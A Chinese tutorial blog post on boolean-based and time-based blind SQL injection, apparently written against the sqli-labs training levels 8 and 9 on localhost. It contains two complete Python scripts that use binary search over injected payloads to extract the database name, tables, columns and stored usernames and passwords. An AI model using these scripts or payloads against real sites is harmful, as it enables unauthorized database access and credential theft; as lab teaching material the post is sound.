SQL布尔盲注、时间盲注

Εliauk2025-02-15 0:03

一、布尔盲注

布尔盲注（Boolean-based Blind SQL Injection）是一种SQL注入技术，用于在应用程序不直接显示数据库查询结果的情况下，通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的结果是否为真或假，进而推断出数据库中的具体信息。

案例为sqlilabs中的第八关，采用二分查找

python脚本：

python 复制代码 
import requests
def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1, 10):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}  # 相当于第一个字符<={mid}条件判断为真
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                high = mid
                mid = (low + high) // 2
            else:
                low = mid + 1
                mid = (low + high) // 2
        s += chr(mid)
    print("数据库名称:" + s)


def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("表的名称:" + s)


def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表的列:" + s)


def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}
            res = requests.get(url=URL, params=payload)
            if "You are in" in res.text:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表具体数据:" + s)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-8/index.php"
    get_database(URL)
    get_table(URL)
    get_column(URL)
    get_result(URL)

运行结果

二、时间盲注

时间盲注（Time-based Blind SQL Injection）是一种SQL注入技术，用于在应用程序没有直接回显数据库查询结果的情况下，通过构造特定的SQL查询来推测数据库中的信息。这种方法依赖于数据库处理查询时产生的延迟响应来判断条件的真假。

案例为sqlilabs中的第九关，同样为二分查找

python脚本

python 复制代码 
import requests
import datetime

def get_database(URL):
    # 获取数据库名称
    s = ""
    for i in range(1, 10):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}  # 相当于第一个字符<={mid}条件判断为真
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                high = mid
                mid = (low + high) // 2
            else:
                low = mid + 1
                mid = (low + high) // 2
        s += chr(mid)
        print("数据库名称:" + s)


def get_table(URL):
    # 获取表名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("表的名称:" + s)


def get_column(URL):
    # 获取管理员的字段名称
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users表的列:" + s)


def get_result(URl):
    # 获取用户名和密码信息
    s = ""
    for i in range(1, 32):
        low = 32
        high = 128
        mid = (low + high) // 2
        while (high > low):
            payload = {
                "id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}
            start = datetime.datetime.now()
            res = requests.get(url=URL, params=payload)
            end = datetime.datetime.now()
            if (end - start).seconds >= 3:
                low = mid + 1
                mid = (low + high) // 2
            else:
                high = mid
                mid = (low + high) // 2
        s += chr(mid)
    print("users中的具体数据:" + s)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-9/index.php"
    # get_database(URL)
    get_table(URL)
    # get_column(URL)
    # get_result(URL)

运行结果：

相关推荐
X56611 分钟前
什么是Bootstrap的移动优先响应式设计
jvm·数据库·python
m0_470857641 分钟前
实现一个可精确定位、支持左右移动与删除的文本光标系统
jvm·数据库·python
m0_591364734 分钟前
mysql如何通过索引减少行锁范围_mysql索引与加锁逻辑
jvm·数据库·python
代码中介商5 分钟前
MySQL 核心进阶：事务、隔离级别与视图实战
数据库·mysql
七爷不在我这里7 分钟前
oracle的26版本及以下 Null的判断及空串判定
数据库·oracle
weixin_4440129315 分钟前
CSS如何实现单选按钮自定义样式_利用伪元素隐藏默认UI
jvm·数据库·python
X566116 分钟前
CSS如何利用Grid重写老旧的表格布局
jvm·数据库·python
思麟呀18 分钟前
MySQL复合查询与内外连接
android·数据库·mysql
ㄟ留恋さ寂寞20 分钟前
mysql如何配置MySQL的连接保持_调整tcp_keepalive设置
jvm·数据库·python
2301_7838486520 分钟前
Less如何构建CSS样式库_通过继承机制优化组件化开发
jvm·数据库·python
热门推荐
01GitHub 镜像站点02Codex 接入 DeepSeek API 完整配置文档03CC-Switch & Claude 基于 Linux 服务器安装使用指南04【AI】2026 年具身智能模型和世界模型总结05AI科技热点日报 | 2026年5月11日06零基础教你claude code 接入 deepseek V407人工智能最新动态 AI 日报 · 2026年5月10日08Gemini大升级、AI眼镜首发、Android XR亮相，13天后见分晓09codex app每次打开重连5次Reconnecting问题解决10Cursor 接入 DeepSeek‑V4‑Pro 完整指南（2026 实测）